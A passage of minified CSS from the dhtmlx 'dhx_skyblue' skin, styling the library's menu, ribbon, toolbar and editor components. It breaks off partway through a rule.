div.sub_icon.rdbt_1{background-position:-126px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon tr.sub_sep td{padding:2px 0;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon div.sub_sep{position:static;font-size:1px;line-height:1px;height:1px;width:100%;border-top:1px solid #a4bed4;}iframe.dhtmlxMenu_IE6CoverFix_dhx_skyblue{position:absolute;border:none;background:#000;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp,div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp_Over,div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp_Disabled{position:relative;font-size:1px;border-bottom:1px solid #a4bed4;background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_up.gif\");background-repeat:no-repeat;background-position:center center;padding:8px 0;margin-bottom:3px;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp_Disabled{background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_up_dis.gif\");}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown,div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown_Over,div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown_Disabled{position:relative;font-size:1px;border-top:1px solid #a4bed4;background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_down.gif\");background-repeat:no-repeat;background-position:center center;padding:8px 0;margin-top:3px;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown_Disabled{background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_down_dis.gif\");}.dhtmlxribbon_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{background-color:#fff;border:1px solid #a4bed4;}.dhtmlxribbon_dhx_skyblue{overflow:hidden;width:100%;background-color:#e7f1ff;}.dhtmlxribbon_dhx_skyblue .dhxrb_background_area{height:115px;background-color:#e7f1ff;margin:1px;}.dhtmlxribbon_dhx_skyblue .dhxrb_with_tabbar{height:145px;}.dhtmlxribbon_dhx_skyblue div.dhx_cell_tabbar{background-color:#e7f1ff!important;}.dhtmlxribbon_dhx_skyblue .dhxrb_g_area{height:115px;float:left;clear:left;overflow:hidden;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_base{margin:3px;float:left;border:1px solid #a4bed4;background-color:#ddebff;border-radius:2px;height:106px;overflow:hidden;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_base .dhxrb_block_items{height:84px;float:left;padding:2px 0;overflow:hidden;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_base>.dhxrb_block_label{height:18px;line-height:17px;*height:auto;*line-height:1em;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_base .dhxrb_block_label{text-align:center;clear:left;font-family:Tahoma,Helvetica;font-size:11px;color:#5f85bb;background-color:#d3e7ff;*padding:1px 3px 4px;*font-size:11px;*font-family:Tahoma,FreeSans;}.dhtmlxribbon_dhx_skyblue .dhxrb_big_button{margin:0 2px 5px;float:left;text-align:center;padding:4px 6px;height:72px;border-radius:2px;border:1px solid #ddebff;font-family:Tahoma,Helvetica;font-size:11px;color:black;background-color:#ddebff;}.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_image{width:48px;height:48px;border:none;}.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_label_button{margin:0 auto;cursor:default;font-family:Tahoma,Helvetica;font-size:11px;color:black;line-height:10px;}.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_invisible{visibility:hidden;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_block{float:left;margin:0 2px 5px;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_block .dhxrb_invisible{display:none;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button{height:21px;margin:1px 3px;float:left;clear:left;padding:3px 4px 0 4px;border-radius:2px;border:1px solid #ddebff;font-family:Tahoma,Helvetica;font-size:11px;color:black;background-color:#ddebff;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_row{height:20px;margin:1px 3px;float:left;padding:3px 4px 1px;white-space:nowrap;overflow:hidden;border-radius:2px;border:1px solid #ddebff;font-family:Tahoma,Helvetica;font-size:11px;color:black;background-color:#ddebff;}.dhtmlxribbon_dhx_skyblue .dhxrb_group .dhxrb_buttoncombo_cont{height:22px;padding:0 2px!important;overflow:hidden;white-space:nowrap;float:left;}.dhtmlxribbon_dhx_skyblue .dhxrb_buttoncombo_cont{height:24px;padding:1px 2px!important;}.dhtmlxribbon_dhx_skyblue .dhxrb_buttoncombo{float:left;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_slider,.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_slider{float:left;margin-right:5px;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_row center,.dhtmlxribbon_dhx_skyblue .dhxrb_in_group center,.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button center{float:left;margin:0;padding:0;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_slider{float:left;margin-right:5px;}.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_slider{width:16px;margin:2px 0;height:50px;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_group{height:19px;float:left;padding:2px 4px 1px;border:1px solid #fff;}.dhtmlxribbon_dhx_skyblue .dhxrb_input{float:left;border:1px solid #a4bed4;height:14px;width:80px;font-family:Tahoma,Helvetica;font-size:11px;color:black;padding:1px 2px;}.dhtmlxribbon_dhx_skyblue .dhxrb_input:disabled{border:1px solid #ccc;background-color:#fafafa;color:#b2b2b2;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_image,.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_image,.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_image{width:18px;height:18px;float:left;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_label_button,.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_label_button,.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_label_button{float:left;cursor:default;margin:2px 4px 2px 6px;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhtmlxribbon_dhx_skyblue .dhxrb_buttoncombo_cont .dhxrb_label_button{float:left;margin-left:3px;height:18px;line-height:18px;cursor:default;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhtmlxribbon_dhx_skyblue .dhxrb_label_checkbox{float:left;margin:2px 4px;cursor:default;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhtmlxribbon_dhx_skyblue .dhxrb_disable_text_style,.dhtmlxribbon_dhx_skyblue .dhxrb_item_disable .dhxrb_label_checkbox{color:#999!important;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxribbon_dhx_skyblue .dhxrb_highlight0{border:1px solid #a4bed4;background-color:#f1f7ff;background:linear-gradient(#f1f7ff,#e2efff);background:-webkit-linear-gradient(#f1f7ff,#e2efff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f1f7ff,endColorStr=#e2efff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxribbon_dhx_skyblue .dhxrb_highlight1{border:1px solid #a4bed4;background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 3px #afc1d4 inset;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxribbon_dhx_skyblue .dhxrb_group .dhxrb_highlight0{border:1px solid #ddedff;}.dhtmlxribbon_dhx_skyblue .dhxrb_group .dhxrb_highlight1{background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 3px #afc1d4 inset;border:0;padding:3px 5px 2px 5px;}.dhtmlxribbon_dhx_skyblue .dhxrb_item_hide{display:none!important;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_rows{float:left;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_row{float:left;clear:left;margin:0 2px;height:28px;overflow:hidden;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_arrow{padding:0 5px;margin-left:2px;background:url(\"imgs/dhxribbon_skyblue/dhxribbon_arrow.gif\") no-repeat 50%;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_block .dhxrb_group{border:1px solid #a4bed4;background:#e7f1ff;height:24px;border-radius:2px;float:left;clear:left;margin:1px 3px;overflow:hidden;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_block_row .dhxrb_group{border:1px solid #a4bed4;background:#e7f1ff;height:24px;border-radius:2px;float:left;margin:1px 3px;overflow:hidden;position:relative;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_label_hide{display:none;}.dhtmlxribbon_dhx_skyblue .dhxrb_separator_groupp{height:24px;width:0;border-left:1px solid #c4deff;overflow:hidden;float:left;}.dhtmlxribbon_dhx_skyblue .dhxrb_checked.dhxrb_item_disable>.dhxrb_checkbox{background-image:url(\"imgs/dhxribbon_skyblue/dhxribbon_checked_dis.gif\");background-repeat:no-repeat;}.dhtmlxribbon_dhx_skyblue .dhxrb_checked .dhxrb_checkbox{background-image:url(\"imgs/dhxribbon_skyblue/dhxribbon_checked.gif\");background-repeat:no-repeat;}.dhtmlxribbon_dhx_skyblue .dhxrb_item_disable .dhxrb_checkbox{border:1px solid #aaa;background-color:#eee;}.dhtmlxribbon_dhx_skyblue .dhxrb_checkbox{border:1px solid #a4bed4;background-color:#fff;float:left;width:12px;height:12px;margin-top:2px;overflow:hidden;}.dhtmlxribbon_dhx_skyblue .dhxrb_item_text{font-family:Tahoma,Helvetica;font-size:13px;color:#256488;}.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_item_text{height:19px;line-height:18px;*float:left;*clear:left;}.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_item_text,.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_item_text{font-family:Tahoma,Helvetica;font-size:14px;color:#256488;}.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_item_text{font-family:Tahoma,Helvetica;font-size:30px;color:#256488;line-height:72px;height:72px;float:left;clear:left;}.dhxtoolbar_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhx_toolbar_dhx_skyblue{border:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);position:relative;padding:0 5px;height:30px;line-height:normal;cursor:default;overflow:hidden;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhx_toolbar_dhx_skyblue div.dhxtoolbar_float_left{float:left;}.dhx_toolbar_dhx_skyblue div.dhxtoolbar_float_right{float:right;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw{position:relative;float:left;margin-top:2px;padding:2px 3px;*padding-bottom:4px;margin-right:1px;line-height:normal;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:default;height:22px;*height:20px;overflow:hidden;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_dis{color:#999;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_over,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_over{border:1px solid #a4bed4;border-radius:2px;padding:1px 2px;*padding-bottom:3px;background-color:#f1f7ff;background:linear-gradient(#f1f7ff,#e2efff);background:-webkit-linear-gradient(#f1f7ff,#e2efff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f1f7ff,endColorStr=#e2efff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_pres,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_pres{border:1px solid #a4bed4;border-radius:2px;padding:1px 2px;*padding-bottom:3px;background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 5px rgba(127,127,127,0.15) inset;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_pres_dis{color:#999;border:1px solid #c9c9c9;border-radius:2px;padding:1px 2px;*padding-bottom:3px;background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 5px rgba(127,127,127,0.15) inset;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn img{float:left;margin:2px;width:18px;height:18px;cursor:default;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn .dhxtoolbar_input{position:relative;float:left;border:1px solid #a4bed4;background-color:white;margin:1px;padding:2px 4px 3px 4px;font-family:Tahoma,Helvetica;font-size:11px;color:black;line-height:normal;direction:ltr;outline:none;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn .dhxtoolbar_input:disabled{background-color:#e7eef8;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn div.dhxtoolbar_text,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw div.arwimg{float:left;font:inherit;height:18px;line-height:17px;margin:2px 4px;padding:0;cursor:default;overflow:hidden;white-space:nowrap;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw{margin-left:-3px;z-index:1;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw div.arwimg{margin:2px 0;padding:0 3px;background-image:url(\"imgs/dhxtoolbar_skyblue/dhxtoolbar_arrow.gif\");background-position:center center;background-repeat:no-repeat;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_dis div.arwimg{background-image:url(\"imgs/dhxtoolbar_skyblue/dhxtoolbar_arrow_dis.gif\");}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_sep{float:left;border-left:1px solid #c0d9ec;height:20px;margin:5px 6px 0 5px;overflow:hidden;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_text{float:left;vertical-align:middle;margin-top:3px;padding:3px 5px;line-height:17px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_l,.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_m,.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_r{float:left;height:5px;line-height:1px;margin:8px 0 6px 0;padding:0;width:2px;font-size:1px;border-top:1px solid #a4bed5;border-bottom:1px solid #a4bed5;background-color:#e7f1ff;overflow:hidden;}.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_l{margin-left:4px;border-left:1px solid #a4bed5;border-top-left-radius:2px;border-bottom-left-radius:2px;}.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_r{margin-right:4px;border-right:1px solid #a4bed5;border-top-right-radius:2px;border-bottom-right-radius:2px;}.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_pen,.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_pen.dhxtoolbar_over{position:absolute;top:5px;width:7px;height:14px;border:1px solid #a4bed4;background-color:#e1eeff;background:linear-gradient(#e1eeff,#d4e7ff);background:-webkit-linear-gradient(#e1eeff,#d4e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e1eeff,endColorStr=#d4e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);border-radius:1px;cursor:default;font-size:1px;line-height:1px;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_pen{border-color:#c9c9c9;background-color:#e5e5e5;background:linear-gradient(#e5e5e5,#e0e0e0);background:-webkit-linear-gradient(#e5e5e5,#e0e0e0);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e5e5e5,endColorStr=#e0e0e0) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_bg_l,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_bg_m,.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_bg_r{border-color:#c9c9c9;background-color:#e9e9e9;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24{height:36px!important;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_arw{height:28px;*height:26px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn img{width:24px;height:24px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn div.dhxtoolbar_text,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_arw div.arwimg{height:24px;line-height:23px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_text{padding-top:6px;padding-bottom:6px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_sep{height:26px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_bg_l,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_bg_m,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_bg_r{margin-top:11px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_pen{top:8px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn .dhxtoolbar_input{margin-top:4px;margin-bottom:4px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32{height:44px!important;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_arw{height:36px;*height:34px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn img{width:32px;height:32px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn div.dhxtoolbar_text,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_arw div.arwimg{height:32px;line-height:31px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_text{padding-top:10px;padding-bottom:10px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_sep{height:34px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_bg_l,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_bg_m,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_bg_r{margin-top:15px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_pen{top:12px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn .dhxtoolbar_input{margin-top:8px;margin-bottom:8px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48{height:60px!important;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_arw{height:52px;*height:50px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn img{width:48px;height:48px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn div.dhxtoolbar_text,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_arw div.arwimg{height:48px;line-height:47px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_text{padding-top:18px;padding-bottom:18px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_sep{height:50px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_bg_l,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_bg_m,.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_bg_r{margin-top:23px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_pen{top:20px;}.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn .dhxtoolbar_input{margin-top:16px;margin-bottom:16px;}div.dhx_toolbar_poly_dhx_skyblue{position:absolute;border:1px solid #a4bed4;box-shadow:0 0 3px #ccc;padding:3px 0;border-bottom-left-radius:2px;border-bottom-right-radius:2px;border-top-right-radius:2px;background-color:#e7f1ff;overflow:hidden;cursor:default;line-height:normal;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.dhx_toolbar_poly_dhx_skyblue td{font-family:Tahoma,Helvetica;font-size:11px;color:black;line-height:normal;padding:0 3px;border-top:1px solid #e7f1ff;border-bottom:1px solid #e7f1ff;}div.dhx_toolbar_poly_dhx_skyblue .tr_btn_over td,div.dhx_toolbar_poly_dhx_skyblue .tr_btn_selected td{background-color:#b5deff;border-top:1px solid #a1cef4;border-bottom:1px solid #a1cef4;}div.dhx_toolbar_poly_dhx_skyblue .tr_btn_disabled td{color:#999;}div.dhx_toolbar_poly_dhx_skyblue td.td_btn_img{width:18px;text-align:center;}div.dhx_toolbar_poly_dhx_skyblue td.td_btn_img img.btn_sel_img{width:18px;height:18px;}div.dhx_toolbar_poly_dhx_skyblue td.td_btn_txt div.btn_sel_text{padding:0 12px 0 1px;height:22px;line-height:21px;overflow:hidden;}div.dhx_toolbar_poly_dhx_skyblue tr.tr_sep td{padding:2px 0;}div.dhx_toolbar_poly_dhx_skyblue div.btn_sep{position:relative;font-size:1px;line-height:1px;height:0;width:100%;border-top:1px solid #a4bed5;}div.dhx_toolbar_slider_label_dhx_skyblue{position:absolute;border:1px solid #a4bed4;box-shadow:0 0 3px #ccc;background-color:#e7f1ff;padding:5px 8px;border-radius:2px;overflow:hidden;cursor:default;line-height:normal;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxtoolbar_maxopen_test{position:absolute;width:200px;height:50px;overflow-x:none;overflow-y:auto;left:-300px;top:100px;border:1px solid white;visibility:hidden;}.dhxtoolbar_maxopen_test2{height:200px;}.dhxacc_base_dhx_skyblue div.dhx_cell_acc div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging,.dhxlayout_base_dhx_skyblue div.dhx_cell_layout div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging,.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging{position:relative;height:32px;line-height:31px;margin-top:-1px;overflow:hidden;white-space:nowrap;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging{margin-top:0;height:31px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging{position:relative;height:32px;line-height:31px;margin-top:3px;overflow:hidden;white-space:nowrap;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging .dhx_toolbar_dhx_skyblue,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging .dhx_toolbar_dhx_skyblue{border-width:0;background-image:none;}.dhxeditor_dhx_skyblue{position:relative;}.dhxeditor_dhx_skyblue iframe.dhxeditor_mainiframe{position:absolute;overflow:hidden;top:0;left:0;width:100%;height:100%;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb{position:relative;height:30px;padding:0 5px;border-bottom:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button{float:left;position:relative;width:18px;height:18px;font-size:2px;margin-left:5px;margin-top:7px;cursor:pointer;background-image:url(\"imgs/dhxeditor_skyblue/buttons.gif\");opacity:1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_bold{margin-left:5px;background-position:0 0;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_italic{background-position:-18px 0;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_underline{background-position:-36px 0;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_clearformat{background-position:-54px 0;}.dhxeditor_dhx_skyblue div.dhx_cell_editor{position:absolute;background-color:white;margin:0;padding:0;overflow:hidden;cursor:default;z-index:0;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_cont_editor{position:absolute;overflow:hidden;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def{position:relative;overflow:hidden;}.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-top-width:0;border-left-width:0;border-right-width:0;}div.dhxform_item_template div.dhx_cell_editor div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-left-width:1px;border-right-width:1px;border-top-width:1px;}.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb,.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-top:1px solid #a4bed4;}.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_cont_editor{border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;}.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def{padding:0;}.dhxeditor_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid 